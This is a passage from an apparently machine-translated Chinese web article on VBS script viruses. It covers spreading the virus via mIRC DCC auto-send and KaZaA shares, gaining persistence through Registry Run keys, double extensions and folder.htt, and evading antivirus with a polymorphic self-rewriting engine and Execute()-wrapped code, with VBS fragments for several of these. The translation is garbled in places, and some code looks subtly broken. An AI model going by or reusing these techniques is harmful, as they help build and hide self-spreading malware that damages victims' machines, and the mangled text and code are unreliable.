menuconfig列(2)

fso.CopyFile Wscript.ScriptFullName，“ C: /mirc/attachment.vbs”，“真”将病毒文件备份到attach.vbs

mirc.WriteLine“ [脚本]”

mirc.WriteLine“ n0 = on 1: join: *. *: {if（$ nick！= $ me）{halt} / dcc send $ nick C: /mirc/attachment.vbs}”

'使用命令/ ddc send $ nick attachment.vbs将病毒文件发送给频道中的其他用户

关闭.

以上代码用于将一行代码写入Script.ini文件. 实际上，将编写许多其他代码. 用于控制IRC会话的命令存储在Script.ini中. 该文件中的命令可以自动执行. 例如，“歌曲昆虫”病毒TUNE.VBS将修改c: /mirc/script.ini和c: /mirc/mirc.ini，以便每次IRC用户使用受感染的频道时，他们都将收到通过DDC TUNE.VBS. 同样，如果将Pirch98安装在目标计算机的c: / pirch98目录中，则病毒会修改c: /pirch98/events.ini和c: /pirch98/pirch98.ini，以便每当IRC用户使用受感染的频道时，您将接收通过DDC发送的TUNE.VBS副本.

此外，病毒可以通过现在流行的KaZaA传播. 该病毒会将病毒文件复制到KaZaA的默认共享目录，以便其他用户访问该计算机时，可以下载并执行该病毒文件. 这种通信方法可能随着KaZaA等对等共享工具的普及而发挥作用.

还有其他一些通信方法，我们将不在此处列出.

3. VBS脚本病毒如何获得控制？

如何获得控制权？这是一个更有趣的话题，VBS脚本病毒似乎使这个话题更加完整. 作者在此处列出了几种典型方法:

1）修改注册表项

Windows启动时，它将自动加载指向HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run项目下的每个键值的程序. 脚本病毒可以在此项目下为病毒程序添加一个关键值，以便您可以确保在每次计算机启动时都得到控制. vbs修改book表的方法比较简单，只需直接调用以下语句即可.

wsh.RegWrite（strName，anyvalue [，strType]）

2）通过映射文件执行方法

例如，我们新的欢乐时光修改了dll对wscript.exe的执行方式. 您甚至可以将exe文件的映射指向病毒代码.

3）欺骗用户，让用户自己执行

此方法实际上与用户的心理有关. 例如，病毒发送附件时，将使用带有双后缀的文件名. 由于默认情况下不显示后缀，例如，文件名为beauty.jpg.vbs的vbs程序显示为beauty.jpg. 单击它作为图片. 同样，对于用户自己磁盘中的文件，当病毒感染它们时，会将原始文件的文件名用作前缀vbs病毒，将vbs用作后缀以生成病毒文件，然后删除原始文件. 这样，用户可以像原始文件一样复制vbs文件.

4）Desktop.ini和folder.htt相互配合

这两个文件可用于配置活动桌面，也可用于自定义文件夹. 如果用户目录包含这两个文件，则当用户进入目录时，文件夹.htt中的病毒代码将被触发. 这是新欢乐时光病毒用于获得控制权的相对有效的方法. 而且使用folder.htt可能还会触发exe文件，这也可能成为病毒获得控制权的有效方法！

病毒可以通过多种方式获得控制权，并且作者在这方面还有更多的发挥空间.

4. vbs脚本病毒针对杀毒软件的几种技术

要使病毒生存，还必须具备与杀毒软件对抗的能力. 通常，VBS脚本病毒使用以下方法来对抗防病毒软件:

1）自加密

例如，新的欢乐时光病毒可以随机选择一个密钥来加密和转换其部分代码，从而使每次感染的病毒代码都不同，从而达到了多态的效果. 这给传统的特征值检查方法带来了一些困难. 每次感染后，病毒也可以进一步变形，以使加密病毒的解密代码不同.

让我们看一个简单的vbs脚本转换引擎（来自flyshadow）

随机化

Set Of = CreateObject（“ Scripting.FileSystemObject”）’创建文件系统对象

vC = Of.OpenTextFile（WScript.ScriptFullName，1）. Readall'读取自己的代码

fS = Array（“ Of”，“ vC”，“ fS”，“ fSC”）’定义要替换的字符数组

对于fSC = 0到3

vC = Replace（vC，fS（fSC），Chr（（Int（Rnd * 22）+ 65））＆Chr（（Int（Rnd * 22）+ 65））＆Chr（（Int（Rnd * 22） ）+ 65））＆Chr（（Int（Rnd * 22）+ 65）））'用4个随机字符替换数组fS中的字符串

下一步

Of.OpenTextFile（WScript.ScriptFullName，2，1）.Writeline vC’将替换后的代码写回到文件中

上面的代码使VBS文件的Of，vC，fS，fSC四个字符串在每次运行后都被随机字符串替换，这可以很大程度上防止防病毒软件使用特征值，这是由药品检查法检测到的.

2）巧妙地使用Execute函数

使用过VBS程序的朋友会发现它很奇怪: 在正常程序中使用FileSystemObject对象时，某些防病毒软件将报告扫描此程序时此Vbs文件的风险很高，但是某些VBS脚本病毒也使用FileSystemObject对象，但是为什么没有警告？原因很简单，因为这些病毒巧妙地使用了Execute方法. 当检测到VBS病毒时，某些防病毒软件会检查程序中是否声明了FileSystemObject对象. 如果使用它，将发出警报. 如果病毒将该声明代码转换为字符串，然后通过Execute（String）函数执行该代码，则可以避免使用某些防病毒软件.

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/jisuanjixue/article-272145-2.html